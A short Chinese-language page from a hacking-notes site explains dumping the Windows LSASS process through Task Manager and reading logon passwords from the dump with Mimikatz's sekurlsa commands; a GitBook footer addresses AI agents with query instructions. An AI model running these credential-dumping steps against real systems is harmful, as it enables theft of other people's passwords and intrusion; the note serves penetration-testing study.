> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/active-directory/credentials/lsass-dump-via-task-manager.md).

# 通过任务管理器提取 LSASS

### 转储的创建

在 Windows 中：

```bash
任务管理器 -> 详细信息 -> lsass.exe -> 创建转储文件
```

<figure><img src="/files/2b00c8ce21b483ea2eb4a33f7d7e381e99933e5f" alt=""><figcaption></figcaption></figure>

该文件通常会创建在：

* C:/Users/user1/AppData/Local/Temp

<figure><img src="/files/98cad954f4534951b037df81a8be9cf861300e9b" alt="" width="481"><figcaption></figcaption></figure>

### 使用 Mimikatz 分析转储

运行：

```powershell
./mimikatz.exe
```

然后我们加载转储：

```bash
sekurlsa::minidump C:/Users/user1/AppData/Local/Temp/lsass.DMP

sekurlsa::logonPasswords
```

这使得可以分析内存转储中包含的信息。

<figure><img src="/files/61a0106c70103cc5b226fe360c1db40193b596eb" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/active-directory/credentials/lsass-dump-via-task-manager.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
